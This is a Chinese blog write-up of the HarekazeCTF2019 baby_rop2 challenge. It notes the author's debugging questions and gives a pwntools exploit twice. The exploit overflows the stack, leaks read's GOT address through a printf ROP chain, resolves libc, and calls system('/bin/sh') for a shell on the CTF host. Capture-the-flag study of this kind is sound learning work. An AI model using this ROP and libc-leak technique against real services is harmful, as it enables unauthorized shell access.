[HarekazeCTF2019]baby_rop2 1(含libc.so.6文件)(一些问题有待解决)

buuctf题目对应libc下载
提取码:1111

(所用libc6_2.23-0ubuntu10_amd64.so与题目中所给附件中的libc.so.6均可完成题目)

题目做法还是套路,思路比较简单,网上WP也有很多,主要是做题时遇到了不少问题,有些还没有得到解决,在此进行记录。
(认为不简单的话就应该去学习子程序逆向分析、64位程序调用约定、动态链接…)

一、遇到的问题

(一)不能够用printf的GOT表泄露libc基地址

泄露printf的真实地址行不通,报错,不懂
在这里插入图片描述

(二)构造rop链时printf参数不能只设置一个

个人认为printf第一个参数如果不包含%s%d这样的格式化字符,逻辑上来说应该是不需要继续传递后续的参数的,即不必要设置rsirdxrcx等寄存器,将rdi设置为一个字符串的地址即可,但事实上并不可以。
我自己编写了如下图的文件gcc编译后查看反汇编的代码,发现向printf传递一个参数时确实只需要设置rdi
猜测原因是在c文件中编写的printf可以仅设置rdi,第一个参数可以没有格式化字符串,但ROP链中的第一个参数必须要有格式化字符串??

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

比如下图我将原本能够正常打通的exp的第23行的fm_str(对应'Hello ... %s ,\n')替换为strr('What's your name?'),就会报错。
在这里插入图片描述

(三)关于做题环境

使用可以通关的exp,在Ubuntu18.04上可以正常get shell,在VMwarekaliWSLUbuntu20.04WSLkali都会报错。无语了。
在这里插入图片描述

在这里插入图片描述

(四)关于网上writeUP种常见的u64(p.recvline()[:-2].ljust(8,'\x00'))

from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
ifRemote = 1
if ifRemote:
	p = remote("node4.buuoj.cn",25908)
else:
	p = process("./babyrop2")

elf = ELF('babyrop2')

pop_rdi = 0x400733
pop_rsi_r15_ret = 0x400731 
fm_str = 0x400770  


printf_plt = elf.symbols['printf']
read_got = elf.got['read']
main = elf.sym['main']
ret = 0x4004d1

payload1 = 'a'*0x28
payload1 += p64(pop_rdi)
payload1 += p64(fm_str)
payload1 += p64(pop_rsi_r15_ret)
payload1 += p64(read_got)
payload1 += p64(0)  
payload1 += p64(printf_plt)
payload1 +=p64(main)

p.recvuntil("name? ")
p.sendline(payload1)
p.recvall()

在执行完上述内容后,由于context设置为了debug,从debugreceived的内容可以看到:(这里需要结合刚刚构造的exp的内容,阅读一下debug的内容)
下图是预期输出的内容,其中每个,后存在一个 (空格),每个!后面存在一个看不到的\n(注意\n一个ascii字符,而不是\n两个字符),蓝色划线内容即为需要得到的泄露的read的got表的内容。

在这里插入图片描述
所以如下图,构造exp控制recv函数的接受内容即可得到所需内容。
因此可以先通过recvline接收第一行的welcome,在第二次调用recv的时候,接收到, (逗号+空格),之后再接收到\nrecvline自动接收到遇到的第一个\n且接受内容中\n为最后一位),把接受内容的最后两位(!\n)去掉即为所需求的readgot表的内容。

请添加图片描述
因此构造的exp如下:

print(p.recvline())
print(p.recvuntil(', '))
read_addr = u64(p.recvline()[:-2].ljust(8,'\x00'))
print(hex(read_addr))

(u64函数要求参数为8字节,因此需要先使用ljust函数补齐8位,高位补0(由于文件为LSB,高位在右侧))
在这里插入图片描述
只要能够得到蓝色区域的内容即可,\x7f是指很多数据开头的,但是没有说服力很强的理由,因此个人认为还是要具体问题具体分析,比如本篇中根据自己构造的payload来分析需要如何来获取

# read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
# print hex(read_addr)

在这里插入图片描述

(五)read函数返回值

在这里插入图片描述
因此read的返回值最大为0x100,如果read读入了超过0x100个字符,返回值也为0x100,小于0x100则为对应buf的长度。
但是…
实际上栈空间布局是这样的
上图第二处划线位置语句执行前后,栈划线发生变化
在这里插入图片描述

在这里插入图片描述
但是但是…蓝色划线处不太理解,有待后续研究。

exp.py

(python2脚本)

from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
ifRemote = 1
if ifRemote:
	p = remote("node4.buuoj.cn",25908)
else:
	p = process("./babyrop2")

elf = ELF('babyrop2')

pop_rdi = 0x400733
pop_rsi_r15_ret = 0x400731 
fm_str = 0x400770  


printf_plt = elf.symbols['printf']
read_got = elf.got['read']
main = elf.sym['main']
ret = 0x4004d1

payload1 = 'a'*0x28
payload1 += p64(pop_rdi)
payload1 += p64(fm_str) #"Welcome to the Pwn World again, %s!\n"
payload1 += p64(pop_rsi_r15_ret) 
payload1 += p64(read_got)
payload1 += p64(0)  
payload1 += p64(printf_plt)
payload1 +=p64(main)

p.recvuntil("name? ")
p.sendline(payload1)

print(p.recvline())
print(p.recvuntil(', '))
read_addr = u64(p.recvline()[:-2].ljust(8,'\x00'))
print(hex(read_addr))
# read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
# print hex(read_addr)
libc = LibcSearcher('read',read_addr)
# use LibcSearcher
# libc_base = read_addr - libc.dump('read')
# sys_addr = libc_base + libc.dump('system')
# bin_sh_addr = libc_base + libc.dump('str_bin_sh')

# use libc.so
libc = ELF("libc6_2.23-0ubuntu10_amd64.so")
read_libc = libc.symbols['read']
libc_base = read_addr - read_libc
sys_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()


payload2 = 'a'*0x28
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh_addr)
payload2 += p64(sys_addr)
p.sendline(payload2)
p.interactive()
#log.success('read==>'+hex(read_addr))

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值